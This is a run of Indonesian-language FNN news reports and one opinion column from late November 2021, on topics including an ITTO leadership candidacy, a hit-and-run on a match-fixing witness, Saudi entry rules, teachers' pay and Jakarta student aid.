Jakarta, FNN - Kandidat Direktur Eksekutif Organisasi Perdagangan Kayu Tropis Internasional (ITTO) dari Indonesia, Yuri Octavian Thamrin, ingin membangun tim yang lebih solid dan inovatif dalam menghadapi berbagai isu perdagangan kayu internasional sebagai salah satu visinya jika terpilih menjabat di posisi tersebut. “Visi saya terkait ITTO sederhana saja. Saya ingin ITTO di bawah pimpinan saya menjadi lebih solid, produktif, dan lebih inovatif dalam mencapai tujuan-tujuannya,” kata Yuri dalam siaran pers Kementerian Lingkungan Hidup dan Kehutanan, di Jakarta, Jumat, 26 November 2021. Yuri merupakan salah satu dari tiga kandidat direktur eksekutif ITTO untuk periode 2022-2025. Yuri merupakan Duta Besar Indonesia untuk Inggris, Belgia, Luxemburg, dan Uni Eropa. Yuri juga menjadi perwakilan Indonesia untuk Organisasi Maritim Internasional (IMO). Indonesia belum pernah memimpin organisasi yang telah berjalan selama hampir 40 tahun itu sejak pakta ditandatangani. Idonesia mengusung Yuri Octavian Thamrin untuk bisa menduduki jabatan sebagai Direktur Eksekutif International Tropical Timber Organization (ITTO) dalam sidang ke-57 pada 29 November-3 Desember mendatang. Yuri menjadi kandidat bersama dengan Fransisco Souza (Brasil) dan Shaem Satkuru (Malaysia). Menurut Yuri, sudah waktunya Indonesia memegang peran berpengaruh di ITTO. Sebab, Indonesia bukan hanya negara terbesar ketiga dengan hutan tropis di dunia, tetapi juga negara yang konsisten dalam mendukung ITTO. Indonesia, menurut dia, terus membayar iuran dengan tertib, penuh, dan reguler. Selain itu kerap menjadi tuan rumah bagi pertemuan-pertemuan ITTO. “Delegasi Indonesia juga aktif di ITTO dan juga kita aktif mendukung berbagai inisatif dan kolaborasi,” ujarnya, sebagaimana dikutip dari Antara. Jika dipercaya memimpin ITTO, dia akan melaksanakan tugas dengan standar integritas, kompetensi dan efisiensi yang baik. Yuri berniat memimpin tim yang lebih solid. Dengan demikian,. kerja sama yang baik dapat tercipta dalam mewujudkan visi dan misi organisasi itu. Selain itu, dia ingin mendorong agar ITTO lebih produktif dan inovatif dalam ekspansi dan diversifikasi kegiatan organisasi. (MD).

Saksi Kasus Dugaan Pengaturan Skor Liga 3 Jadi Korban Tabrak Lari

Malang, FNN - Seorang saksi terkait kasus dugaan pengaturan skor Liga 3 Jawa Timur, Zha Eka Wulandari menjadi korban tabrak lari di Jalan Tirto Mulyo, Kecamatan Dau, Kabupaten Malang, Jawa Timur. Saat ditemui di kediamannya, Zha mengatakan, kejadian tabrak lari tersebut terjadi pada Kamis, 25 November 2021 sekitar pukul 18.30 WIB. Saat itu, ia baru saja mengisi kartu uang elektronik (e-toll) di salah satu ritel modern yang ada di kawasan tersebut. "Saya keluar rumah mengisi e-toll, karena hari ini (Jumat) saya rencananya dipanggil oleh Polda Jawa Timur. Saya dan suami disalip dari sebelah kiri, kemudian kami terjatuh," kata Zha di Malang, Jumat, 26 November 2021 Zha menjelaskan, sebelum kejadian tersebut, ada kendaraan roda dua lain yang menyalip dari sisi sebelah kanan. Saat itu, pengendara sepeda motor yang menggunakan jaket hitam sempat melihat Zha dan tertawa. Zha bersama suami sempat mengurangi kecepatan kendaraan dan berbicara terkait perilaku pengendara sepeda motor yang menyalip dan tertawa itu. Tidak lama kemudian, ada motor lain dari sisi kiri yang menyalip dan menyebabkan Zha bersama suaminya terjatuh. "Kurang lebih 50 meter dari tempat saat saya disalip dari arah kanan itu, kemudian ada yang menyalip dari sisi kiri. Kendaraan itu lampunya tidak menyala. Kendaraan itu yang menyebabkan saya dan suami jatuh ke sisi kanan," katanya, sebagaimana dikutip dari Antara. Ia tidak mengingat secara detil terkait sepeda motor yang melaju dari sisi kiri dan menyebabkan ia bersama suaminya terjatuh tersebut. Namun, pengendara yang menyalip dari sisi kanan dan tertawa, ia mengingat kejadian itu dengan jelas. "Untuk yang dari sisi kiri itu sangat kencang, dan tiba-tiba saya jatuh ke kanan. Kalau yang menyalip dari sisi kanan, saya jelas (mengingat). Karena setelah diserempet, saya dan suami pelan-pelan dan heran mengapa anak tersebut tertawa," ujarnya. Saat ditanya apakah kejadian tersebut ada kaitannya dengan status Zha sebagai saksi dalam kasus dugaan pengaturan skor Liga 3 tersebut, ia tidak bisa memastikan. Namun, kejadian tabrak lari tersebut sudah dilaporkan kepada polisi. "Saya belum bisa menjawab itu ada hubungannya atau tidak (terkait sebagai saksi dugaan kasus pengaturan skor Liga 3)," kata perempuan yang merupakan bendahara tim Liga 3 Gresik Putra Paranane itu. Ia dan suami menderita sejumlah luka pada sisi tubuh bagian kanan. Sejumlah luka ada di bagian kepala, pipi, tangan dan kaki. Selain itu, gigi Zha juga patah akibat benturan saat terjatuh dari sepeda motor. "Kepala, pipi, gigi dan bagian kanan tubuh saya dan suami banyak yang terluka. Saat ini kejadian (tabrak lari) sudah ditangani oleh kepolisian," katanya. Sebagai informasi, Zha Eka Wulandari merupakan pelapor terkait adanya dugaan pengaturan skor pada Grup B Liga 3 Jawa Timur, dalam pertandingan antara Gresik Putra Paranane melawan Persema Malang dan NZR Sumbersari. Dalam kasus tersebut, para pemain Gresik Putra Paranane ditawari sejumlah uang agar mengalah pada dua laga tersebut. Gresik Putra Paranane akhirnya kalah 1-5 saat melawan Persema dan 0-1 saat melawan NZR Sumbersari. (MD)>

Menteri Perindustrian: Birokrasi Tidak Bisa Dijalankan Dengan Cara Biasa

Jakarta, FNN - Birokrasi tidak bisa lagi dijalankan dengan cara-cara biasa guna mewujudkan tata kelola pemerintahan berkelas dunia yang mampu mengikuti pesatnya perkembangan era digital saat ini, khususnya perkembangan industri 4.0. “Terkait dengan hal itu, birokrasi tidak bisa lagi dilakukan dengan cara-cara biasa (bussiness as usual) seperti waktu-waktu yang lalu, yaitu birokrasi masih dibatasi dengan ruang, waktu, dan prosedur yang cukup kaku,” kata Menteri Perindustrian (Menperin) Agus Gumiwang Kartasasmita, dalam keterangannya di Jakarta, Jumat, 26 November 2021. Menperin menyampaikan hal itu saat memberikan sambutan secara virtual pada pembukaan Rapat Koordinasi Pengawasan (Rakorwas) Inspektorat Jenderal (Irjen) Kemenperin. Semangat menjaga pertumbuhan industri harus dikawal dengan kebijakan yang prudent, accountable, dan sesuai aturan perundangan. Menurut dia, birokrasi diharapkan mampu memberikan pelayanan yang terbaik kepada masyarakat. “Melalui pelayanan birokrasi yang baik itu, tentu saja diharapkan target-target kinerja sebagaimana tertuang dalam Rencana Strategis (Renstra) Kemenperin juga akan tercapai secara efektif, efisien, serta akuntabel,” katanya, sebagaimana dikutip dari Antara. Rakorwas yang mengusung tema: “Penerapan Governance, Risk and Control (GRC) di Kemenperin untuk Pencapaian Target Maksimal” tersebut merupakan agenda penting sebagai ajang pertemuan tahunan antara Aparat Pengawasan Intern (APIP) dengan stakeholder (pemangku kepentingan), baik internal maupun eksternal Kemenperin. Menperin berharap, melalui Rakorwas tersebut, dapat terjalin kolaborasi antara Inspektorat Jenderal sebagai APIP dengan seluruh unit kerja dalam usaha meningkatkan kinerja Kemenperin melalui penerapan governance, risks, and control. Agus mengatakan, pada hakikatnya GRC merupakan kapabilitas organisasi dalam mencapai tujuan dengan andal, mampu berdapatasi dan mengantisipasi risiko-risiko yang dihadapi, melakukan pengendalian dan pengawasan secara berkelanjutan serta mempunyai tata kelola pemerintahan yang baik. “Momentum ini diharapkan dapat memaksimalkan peran APIP sebagai katalisator yang memberikan nilai tambah dalam tata kelola pemerintahan. Salah satu di antaranya melalui pengendalian atas risiko pencapaian tujuan serta implementasi manajemen risiko di seluruh lini,” ujarnya. Kemenperin juga berupaya terus meningkatkan kapabilitas APIP untuk mendukung kinerja serta tata kelola kementerian yang baik. Sehingga tercapai sasaran membangun industri yang mandiri dan berdaulat, memacu industri yang maju dan berdaya saing, serta mewujudkan industri yang berkeadilan dan inklusif. Dalam kesempatan tersebut, Menperin juga meluncurkan Sistem Informasi Pengawasan yang mendukung peningkatan efektivitas serta efisiensi pengawasan. Untuk itu, akan disiapkan infrastruktur sistem yang memadai sebagai bagian dari pelaksanaan tata kelola yang baik. Inspektur Jenderal (Irjen) Kemenperin, Masrokhan menambahkan, dalam Rakorwas tersebut pihaknya memberikan apresiasi kepada seluruh stakeholder yang telah memperoleh hasil terbaik pada Evaluasi dan Capaian Kinerja atas Implementasi Sistem Akuntabilitas Kinerja Instansi Pemerintah (SAKIP), Penyelesaian Tindak Lanjut Hasil Pengawasan, serta Pencapaian Reformasi Birokrasi terbaik pada 2021. “Selanjutnya, menyongsong 2022, perlu kita pahami bersama, Target Kinerja Kemenperin akan bisa tercapai melalui pelaksanaan tata kelola yang baik, implementasi manajemen risiko serta pengendalian atas risiko tersebut,” katanya. (MD).

Konflik Antarkelompok Masyarakat Akibat Ambang Batas Pencalonan Presiden

Sijunjung, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI, AA LaNyalla Mahmud Mattalitti mengatakan, potensi konflik antarkelompok terjadi sejak polarisasi masyarakat menguat. Hal ini adalah akibat kontestasi pemilihan langsung presiden yang disertai dengan ambang batas pencalonan atau presidential threshold (PT). Hal itu disampaikan LaNyalla saat membuka Rapat Kerja Nasional Dewan Pimpinan Pusat Pemuda Lumbung Informasi Rakyat (DPP LIRA) secara virtual, Jumat, 26 November 2021, dari Kabupaten Sijunjung, Sumatera Barat. "Kita semua pasti mengenal istilah presidential threshold. Di sinilah akar masalahnya. Karena akibat aturan ambang batas inilah pasangan calon yang dihasilkan terbukti sangat terbatas," tutur LaNyalla. Celakanya, kata dia, dari dua kali pemilihan presiden, negara ini hanya mampu menghasilkan dua pasang calon yang head to head. Sehingga dampaknya terjadi polarisasi masyarakat yang cukup tajam. Hal itu diperparah dengan semangat antarkelompok agar selalu melakukan antitesa atas output pesan yang dihasilkan. Apakah itu dalam bentuk kalimat verbal, maupun simbol dan aksi. Ditambah lagi dengan pola komunikasi elit politik yang juga mengedepankan kegaduhan, sehingga semakin lengkap pembelahan yang terjadi di masyarakat. "Puncaknya, anak bangsa ini secara tidak sadar membenturkan vis-à-vis Pancasila dengan Islam hanya karena semangat melakukan apa pun yang bersifat antitesa untuk menjelaskan identitas dan posisi. Padahal, tidak satu pun tesis yang bisa menjelaskan pertentangan antara Pancasila dengan Islam," kata LaNyalla dalam siaran persnya yang diterima FNN.co.id, Jumat, 26 November 2021 malam. Padahal, politik aliran yang terjadi di masa lampau, antara kaum nasionalis dan agama, hanya bersaing dalam perolehan kursi partai politik. "Pembelahan itu tidak diikuti dengan polarisasi yang begitu tajam sampai ke akar rumput dan menahun," papar LaNyalla. Bahkan, almarhum Gus Dur saat itu memiliki banyak joke-joke segar dengan menggunakan idiom-idiom PNI, PSI, Masyumi dan NU. Tanpa ada yang merasa tersinggung, karena memang kompetisi mereka berada di dalam track, sebagai partai politik dengan platform ideologi partainya masing-masing. Tetapi kemarin, anak bangsa disuguhi kegaduhan nasional. Disuguhi pertunjukkan drama kolosal yang tidak bermutu. Di mana sesama anak bangsa saling melakukan persekusi, saling melaporkan ke ranah hukum. "Seolah tidak ada lagi ruang dialog dan tukar pikiran. Semakin menjadi lebih parah, ketika ruang-ruang dialog yang ada juga semakin dibatasi dan dipersekusi, baik secara frontal oleh pressure group, maupun dibatasi secara resmi oleh institusi negara," ujarnya. Kita menyaksikan sweeping bendera, sweeping kaos, sweeping forum diskusi, pembubaran pengajian dan sebagainya. Hal itu sama sekali tidak mencerminkan kehidupan di negara demokrasi, tetapi lebih kepada tradisi bar-bar. Oleh karena itu, tidak mengherankan jika sejumlah lembaga internasional menyebutkan, indeks demokrasi di Indonesia mengalami kemunduran. "Inilah dampak buruk atau mudarat dari penerapan ambang batas pencalonan presiden atau dalam kasus tertentu juga terjadi di ajang pemilihan kepala daerah, di mana rakyat dihadapkan hanya kepada dua pilihan," tutur LaNyalla. Padahal, kata LaNyalla, ambang pencalonan presiden itu sama sekali tidak ada di dalam konstitusi kita. "Yang ada adalah aturan ambang batas keterpilihan. Hal itu dimaksudkan supaya menyeimbangkan antara popularitas dengan prinsip keterwakilan yang lebih lebar dan menyebar. Hal itu seperti diatur dalam Undang-Undang Dasar 1945 hasil amandemen di Pasal 6A Ayat (3) dan (4)," ujar dia. Sedangkan ambang batas pencalonan sama sekali tidak ada. Aturan tersebut hanya diatur dengan Undang-Undang tentang Pemilu, di mana Undang-Undang yang masih berlaku, yaitu Undang-Undang Nomor 7 Tahun 2017. "Aturan tersebut sama sekali tidak derivatif dari Undang-Undang Dasar kita. Akan tetapi, saat dilakukan judicial review ke Mahkamah Konstitusi (MK), dinyatakan oleh MK sebagai sebuah open legal policy atau wewenang pembuat Undang-Undang," ucapnya. . Pertanyaannya adalah desain siapakah ini? Siapa yang berkepentingan atau siapa yang mengambil keuntungan dengan ricuhnya bangsa ini? Siapa yang mengambil manfaat dari lemahnya persatuan dan kesatuan kita sebagai bangsa? Hal inilah yang menurut LaNyalla harus menjadi perhatian Pemuda LIRA dalam Rakernas tersebut. "Sehingga Pemuda LIRA dapat mengambil peran kebangsaan yang besar untuk Indonesia yang lebih baik. Kita harus berani melakukan koreksi untuk tujuan Indonesia yang lebih baik, untuk Indonesia yang lebih berdaulat dan berdikari, serta mampu mewujudkan keadilan sosial bagi seluruh rakyat Indonesia," tuturnya. Termasuk, melakukan koreksi atas sistem ekonomi negara ini. DPD RI akan sekuat tenaga memperjuangkan hal itu. Tentu DPD RI akan mendapatkan dorongan energi bila para Pemuda LIRA se-Indonesia juga memiliki agenda yang sama.(MD).

Mulai 1 Desember Warga Indonesia Diizinkan Masuk Saudi Tanpa Karantina

Riyadh, FNN - Pemerintah Arab Saudi menyebutkan, Warga Negara Indonesia akan diizinkan masuk mulai 1 Desember 2021 tanpa menjalani karantina selama 14 hari di negara ketiga. Pengumuman tersebut disampaikan pada Kamis, 25 November 2021 waktu setempat. Selain Indonesia, warga negara dari Pakistan, India, Mesir, Brazil, dan Vietnam, diizinkan masuk oleh Arab Saudi tanpa menjalani masa karantina. Menurut laporan Saudi Press Agency yang mengutip sumber resmi Kementerian Dalam Negeri.Arab Saudi, kebijakan tersebut akan berlaku efektif mulai 1 Desember 2021, pukul 01,00 dini hari. Pejabat Kementerian Dalam Neger Arab Saudi mengatakan, kebijakan tersebut diambil setelah menindaklanjuti situasi pandemi secara lokal dan global. Dikutip dari Antara, para pengunjung dari enam negara tersebut harus menjalani karantina selama lima hari, setibanya di Arab Saudi. Aturan tersebut berlaku tanpa memandang status vaksinasi COVID-19 mereka. Sedangkan negara-negara yang masih menghadapi larangan perjalanan adalah Turki, Ethiopia, Afghanistan dan Lebanon. Arab Saudi menekankan pentingnya mematuhi penerapan protokol kesehatan dalam usaha membendung penyebaran virus corona. "Semua prosedur dan tindakan harus mematuhi aturan serta evaluasi yang ditetapkan oleh otoritas kesehatan,” ujar sumber dari Kementerian Dalam Negeri Arab Saudi itu. (MD).

Guru Harus Menjadi Prioritas Investasi

Indonesia seharusnya berinvestasi pada guru dan pendidikan secara umum. Kurangi atau tunda dulu investasi pada proyek-proyek besar yang belum menjadi kebutuhan utama. Alihkan untuk peningkatan kualitas hidup dan kompetensi guru, bangun sekolah, dirikan madrasah, tumbuhkan pusat-pusat ilmu pengetahuan. Oleh: Tamsil Linrung SEPERTI biasa, SETIAP 25 November bertabur kata elok tentang guru. Di sana-sini, seremoni hari guru terlihat semerbak. Para pelajar merangkai puisi, birokrat berteori, dan pengamat mengkritisi. “Bergerak Dengan Hati, Pulihkan Pendidikan,” begitu tema hari guru tahun ini. Maka, ayo kita bicara dengan hati. Empat puluh tahun lalu, Iwan Fals menggubah lagu Oemar Bakri. “Jadi guru jujur berbakti memang makan hati…” begitu salah satu liriknya. Kini, empat puluh tahun berlalu, lirik itu agaknya masih relevan. Padahal, tema lagunya diinspirasi kisah hidup oleh seorang guru yang mengabdi di zaman Jepang hingga pascakemerdekaan. Namanya Abah Landoeng, hidupnya sederhana. Kini berusia 94 tahun dan tinggal di daerah Cimahi, Jawa Barat. Menuju ke rumahnya harus melewati gang kecil yang hanya bisa dilalui sepeda motor. Kini, umur republik telah 76 tahun dan usia reformasi sudah 23 tahun. Tetapi, kehidupan sebagian guru tidak jauh beda dengan Abah Landoeng. Kemerdekaan bangsa belum sepenuhnya memerdekakan guru. Mereka terjajah oleh pengabdian dengan penghasilan di bawah standar. Ada yang bahkan hanya menerima Rp200-300 ribu, itu pun per tiga bulan. Sungguh tidak manusiawi. Mereka yang bergaji rendah umumnya guru non Pegawai Negeri Sipil (PNS). Sebagian besar di antaranya adalah guru honorer. Namun, ekspektasi orang tua siswa yang menitipkan anaknya di sekolah tidak mengenal itu. Seperti kita, semua orang tua ingin anaknya dididik oleh guru berpengetahuan luas, berkepribadian baik, paham perubahan zaman, mengerti teknologi, dan menguasai psikologi siswa. Abad 21 menuntut peran guru melampaui sekat ruang kelas. Guru dituntut tidak sekadar mengajar, tetapi juga menjadi agen perubahan sekolah, aktif di ruang-ruang sosial dan menunjukkan diri pada bidang politik kebangsaan. Namun, bagaimana mungkin kita berharap lebih, jika urusan perut saja mereka masih bingung? Kita membangun infrastruktur ini dan itu. Sebagian tidak tepat sasaran, sebagian lagi menggerogoti anggaran negara. Kereta cepat Jakarta- Bandung, misalnya. Atau Bandara Kertajati, Sumedang, Jawa Barat yang berubah menjadi bengkel pesawat, Bandara Jogja yang sepi dan terancam bangkrut, Bandara Kualanamu yang 49 persen sahamnya dijual ke asing, dan lain-lain. Jumat 23 Juli 2021, media Kontan online menuliskan judul besar: Puluhan Jalan Tol Milik BUMN Bakal Dijual, Tiga Investor Asing Siap Memborong. Sudah begitu, pemerintah tidak surut langkah merencanakan pemindahan Ibu Kota Baru, sementara ibu kota negara yang saat ini ada masih sangat representative, lebih dari sekadar layak. Cobalah dihitung-hitung, berapa duit negara yang habis untuk itu? Berapa yang mubazir? Belum lagi sejumlah di antaranya lenyap dikorupsi. Bahkan dalam urusan bantu sosial kepada rakyat miskin saja dengan tega ditilap menteri yang mengurusinya, yaitu Menteri Sosial waktu itu Juliari Peter Batubara. Begitulah, kita menumpuk hutang demi pembangunan, tetapi luput membangun kehidupan guru, para pencetak SDM itu. Pemerintah harusnya sadar, ada jasa guru pada semua orang hebat tanah air. Maka jika gurunya hebat, di masa depan akan bermunculan orang-orang Indonesia yang lebih luar biasa lagi. Indonesia seharusnya berinvestasi pada guru dan pendidikan secara umum. Kurangi atau tunda dulu investasi pada proyek-proyek besar yang belum menjadi kebutuhan utama. Alihkan untuk peningkatan kualitas hidup dan kompetensi guru, bangun sekolah, dirikan madrasah, tumbuhkan pusat-pusat ilmu pengetahuan. Kita harus menyadari, ada kekeliruan dalam menentukan skala prioritas pembangunan. Tidak perlu malu, tengsin, atau merasa gagal. Tidak mudah memang, tetapi bukan hal yang mustahil. Karena tujuan kita bukan saling menyalahkan, tetapi saling mendukung dalam memilih ikhtiar terbaik demi masa depan negeri. Diakui atau tidak, sangat terasa bahwa kohesivitas sosial mulai merenggang. Oligarki menguat, kesenjangan melebar, keakraban beragama terusik dan ketenteraman bernegara mulai mengikis di tengah merajalelanya fitnah, saling tuding, dan saling lapor. Di hulu, guru telah berupaya menciptakan kader-kader bangsa unggulan, tetapi di hilir politik kekuasaan memelintir segalanya. Jika situasi itu menjadi wajah baru Indonesia kini, lalu bagaimana wajah negeri di masa depan? Pulihkan Pendidikan. Pulihkan pendidikan. Dua kata dalam tema hari guru ini seolah menegaskan pengakuan negara bahwa ada problem di sektor pendidikan kita. Guru adalah salah satu elemen pendidikan itu. Maka keseriusan kita mengurus sektor pendidikan, semestinya juga tercermin dalam upaya mengatrol derajat dan kualitas guru, khususnya problem guru honorer yang super akut. Pemerintah telah memberi solusi dengan meluncurkan program Pegawai Pemerintah dengan Perjanjian Kerja (PPPK). Namun, solusi ini memunculkan problem baru, seperti penolakan sebagian guru honorer, persoalan teknis pelaksanaan tes, kualifikasi peserta, nilai ambang batas, dan seterusnya. Untuk itu, Panitia Khusus (Pansus) Guru dan Tenaga Kependidikan Honorer Dewan Perwakilan Daerah (DPD) RI dalam 5-6 bulan terakhir bekerja ekstra keras guna memberikan alternatif solusi. Pansus sekaligus melakukan mekanisme check and balances terhadap jalannya program PPPK, melakukan evaluasi agar program PPPK tahap dua berjalan lebih baik. Faktanya, realisasi penerimaan guru honorer dalam seleksi PPPK tahun ini masih sangat kecil. Dari lebih sejuta lowongan guru PPPK yang dibuka, hanya separuhnya saja atau 506.252 yang mendaftar. Dari jumlah tersebut, hanya 173.329 guru honorer yang lulus tahap awal. Jumlah ini jelas masih jauh dari harapan. Faktor yang memengaruhi banyak. Selain penolakan sebagian guru honorer, ada kekhawatiran dari pemerintah daerah bahwa anggaran pengadaan guru PPPK akan menggerus keuangan daerah. Maklum saja, gaji guru PPPK disuplai APBD. Sementara pemerintah pusat menegaskan, gaji guru PPPK telah masuk dalam alokasi Dana Alokasi Umum (DAU) yang disalurkan kepada pemerintah daerah. Angkanya mencapai Rp19,4 triliun. Apa pun itu, minimnya guru honorer yang terjaring mengindikasikan, dalam masa tertentu, negeri ini masih akan memiliki guru honorer. Jumlah guru honorer saat ini adalah sebanyak 742.459 orang. Sedangkan yang lulus PPPK tidak sampai seperempatnya. Padahal, UU sesungguhnya tidak lagi mengenal istilah guru honorer. Lalu, bagaimana status dan perlindungan hukum bagi guru honorer yang belum terjaring, namun masih tetap mengabdi di sekolah-sekolah? Pemerintah harus memperhatikan mereka. Meski dipandang sebagai solusi, namun program PPPK bukan payung hukum. Pengabaian terhadap hak-hak guru honorer adalah pelanggaran Hak Azasi Manusia (HAM). Demikian pula ketiadaan aturan dan perlindungan hukum terhadap sebuah profesi yang eksis, namun tidak diakui Undang-Undang. Itu kalau kita ingin bicara dengan hati, dari hati ke hati, dan bukan sekadar slogan. Selamat hari guru! Penulis adalah Ketua Pansus Guru dan Tenaga Kependidikan Honorer DPD RI.

Puan: Indonesia Responsif Gender dalam Menyusun Kebijakan

Jakarta, FNN - Ketua DPR RI Puan Maharani mengatakan Indonesia menyadari pentingnya reformasi hukum yang responsif gender sebagai upaya mengintegrasikan perspektif gender ke dalam kebijakan dan program pembangunan nasional. “Indonesia juga telah melakukan 'review' terhadap legislasi nasional untuk memperkuat kerangka hukum dan kebijakan pengarusutamaan gender," kata Puan di forum anggota parlemen perempuan dalam IPU General Assembly ke-143 yang bertempat di IFEMA Palacio Municipal, Madrid, Spanyol, Jumat, demikian dalam keterangan persnya. Puan menyampaikan hal tersebut pada panel diskusi bertajuk "Strategies for gender-responsive law making: its benefits and related challenges". Puan mengatakan kajian yang dilakukan Indonesia itu menciptakan landasan yang kuat untuk mengurangi diskriminasi dan memenuhi hak-hak perempuan. “Kami telah memasukkan perspektif gender dalam perencanaan, penganggaran, dan evaluasi kebijakan pembangunan di tingkat nasional dan lokal," ujarnya. Dia mengatakan, DPR RI memiliki forum Kaukus Parlemen Perempuan yang terus bekerja untuk mencapai lembaga yang berpihak pada kesetaraan gender dan representatif terhadap perempuan. Puan menegaskan bahwa Indonesia menjamin perempuan memiliki hak yang sama dalam politik, untuk berpartisipasi dalam politik dan partai politik yang dijamin dalam UU Nomor 7 Tahun 2017 tentang Pemilu dan UU Nomor 2 Tahun 2018 tentang Partai Politik. Menurut dia, reformasi hukum yang responsif gender memberikan manfaat dalam bentuk meningkatkan kualitas hidup dan partisipasi perempuan, setidaknya hal itu yang terjadi di Indonesia. "Manfaat lainnya adalah penguatan proses dan kapasitas kelembagaan lewat pengarusutamaan gender di semua sektor pada semua tingkatan mulai dari nasional, provinsi, kabupaten hingga desa," katanya. Selain itu menurut dia, reformasi hukum yang responsif gender dapat meningkatkan perlindungan perempuan dari berbagai tindak kekerasan. Dia menjelaskan hal tersebut tentunya termasuk perlindungan perempuan dari perdagangan orang dan pernikahan dini. "Selama tahun-tahun awal pengarusutamaan gender di Indonesia, kita dihadapkan pada tantangan sulitnya menerjemahkan pengertian gender. Tantangan itu membuat upaya pengarusutamaan gender masih terfokus secara sempit pada peningkatan partisipasi perempuan daripada fokus secara luas pada isu hak asasi manusia dan pemberdayaan," ujarnya. Namun Puan percaya pelibatan penuh perempuan dalam program pembangunan nasional bukan hanya sebagai kebijakan afirmatif, tetapi tindakan berani untuk menghormati harkat dan martabat manusia. Dalam IPU General Assembly di Madrid, Puan juga akan menjadi pembicara di beberapa sesi seperti dalam forum parlemen perempuan dan akan menyampaikan pidato pada sesi general debate (debat umum) dengan tema "Contemporary Challenges to Democracy: Overcoming Division and Building Community". Puan juga akan mengisi sesi governing council untuk menyampaikan hasil sidang "The First Global Conference on Achieving the Sustainable Development Goals (SDGs)" yang telah diselengarakan secara virtual di Jakarta pada tanggal 28-30 September 2021. Selanjutnya, Puan akan berpidato pada sesi forum penutupan Sidang Umum IPU ke-143 Madrid sekaligus menyampaikan undangan kepada seluruh parlemen negara-negara anggota IPU untuk hadir dalam Sidang IPU ke-144 yang akan diselenggarakan di Indonesia bulan Maret 2022. Di sela-sela forum parlemen internasional itu, Puan juga akan mengadakan beberapa pertemuan bilateral antara lain dengan Ketua Parlemen Spanyol, Presiden IPU, dan Sekretaris Jenderal UN WTO. (mth)

KTT G20 Bali Akan Tekankan Pentingnya Program Restorasi Mangrove

Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan mengatakan perhelatan KTT G20 di Bali pada 2022 akan menekankan pentingnya program restorasi mangrove yang tengah dilakukan pemerintah Indonesia. Hal itu disampaikan Luhut saat meninjau lokasi penanaman Mangrove di Bali, Kamis (25/11). Ia mengatakan Presiden Joko Widodo akan menyampaikan pesan kepada pemimpin dunia dalam forum tersebut soal pentingnya restorasi mangrove untuk menghasilkan karbon kredit. Tujuannya agar negara-negara atau pemimpin dunia tidak hanya bicara konsep tapi melakukan tindakan nyata seperti yang sudah dilakukan Indonesia saat ini. "Jadi Presiden mengirim pesan, kita jangan ngomong-ngomong saja dalam pertemuan tinggi dunia. Karena program ini didanai 1,2 miliar Dolar AS," katanya dalam keterangan tertulis di Jakarta, Jumat. Saat ini pemerintah telah memiliki program restorasi mangrove seluas 600 ribu hektare dan telah berjalan untuk diwujudkan. Penanaman magrove yang berada di wilayah Bali merupakan bagian dari program restorasi mangrove yang telah dicanangkan. "Selama ini dan tahun depan mungkin hampir 200 hektare (sudah) direstorasi dan itu masih sebagian besar didanai oleh APBN (Anggaran Pendapatan dan Belanja Negara)," ujarnya. Luhut menuturkan besarnya luasan restorasi mangrove yang dilakukan Indonesia akan memberikan nilai berupa karbon kredit yang dinilai penting dan berharga serta menjadi nilai lebih bagi Indonesia. Oleh karena itu, lanjut dia, pihaknya bersama Kementerian Keuangan, Kementerian Lingkungan Hidup dan Kehutanan, Kementerian Dalam Negeri, Kementerian Energi dan Sumber Daya Mineral, Kementerian Perdagangan, PT Perusahaan Listrik Negara, dan Otoritas Jasa Keuangan sedang menyelesaikan aturan turunan terkait karbon kredit yang dimaksud. "Sekarang kami sedang menyempurnakan (aturan turunan) mengenai pelaksanaan Carbon Pricing dan Carbon Trading, karena Indonesia salah satu negara super power dalam karbon kredit," ujarnya. Luhut menambahkan, tingginya karbon kredit untuk Indonesia akan menjadi kekuatan tersendiri. Potensi tersebut, lanjut dia, harus dikelola dan dimanfaatkan dengan maksimal. "Ini kekuatan besar kita untuk menghasilkan (nilai) puluhan atau mungkin ratusan dolar untuk beberapa tahun ke depan dan ini untuk generasi ke depan. Dan akan menciptakan lapangan kerja," katanya. Kunjungan kerja yang dilakukan Luhut di Bali kali ini merupakan bagian dari rangkaian untuk menyiapkan Indonesia sebagai tuan rumah KTT G20 yang digelar pada 2022. Menko berpesan agar semua hal termasuk masalah sampah dan penggunaan energi bersih harus dimulai untuk mempersiapkan perhelatan akbar tersebut. Ia pun memastikan tidak ada masalah dan kendala yang dihadapi. Namun, ia juga berharap dalam waktu yang tidak terlalu lama persiapan dan segala keperluan terkait kegiatan internasional tersebut akan selesai. "Karena kita sudah pengalaman dengan Annual Meeting IMF-World Bank Group kemarin, kendala jadi minor. Ini ada 20 spot pertemuan, jadi bukan hanya di Bali. Target selesai Agustus tahun depan," katanya. (mth)

Catat Ya, Anies Cairkan Kartu Pintar Jakarta Plus Tahap Dua Akhir November 2021

Jakarta, FNN - Pemerintah Provinsi (Pemprov) DKI Jakarta akan mencairkan dana bantuan Kartu Jakarta Pintar (KJP) Plus dan Kartu Jakarta Mahasiswa Unggul (KJMU) tahap dua tahun ini pada 29 November 2021. Gubernur DKI Jakarta Anies Baswedan mengunggah pengumuman pencairan dana bantuan sosial bagi pelajar dan mahasiswa itu melalui akun @aniesbaswedan di Jakarta, Jumat, 26 November 2021. Jenjang pendidikan SD/MI, total dana yang dapat dicairkan Rp 250.000 dan tambahan SPP bagi pelajar SD/MI swasta untuk lima bulan sebesar Rp 130.000 per bulan. SMP/MTs, Pusat Kegiatan Belajar Masyarakat (PKBM), total dana yang dapat dicairkan Rp 300.000. Adapun tambahan SPP SMP/MTs swasta untuk lima bulan sebesar Rp 170.000 per bulan. Pelajar tingkat SMA/MA total dana yang dapat dicairkan Rp 420.000 dan SMK sebesar Rp 450.000. Tambahan SPP SMA/MA swasta untuk lima bulan sebesar Rp 290.000 per bulan dan tambahan SPP SMK swasta untuk lima bulan sebesar Rp 240.000 per bulan. Sedangkan mahasiswa, total bantuan sebesar Rp 9 juta per semester. (MD).

Pemerintah Dinilai Bertindak Cepat Cegah Gelombang Ketiga COVID-19

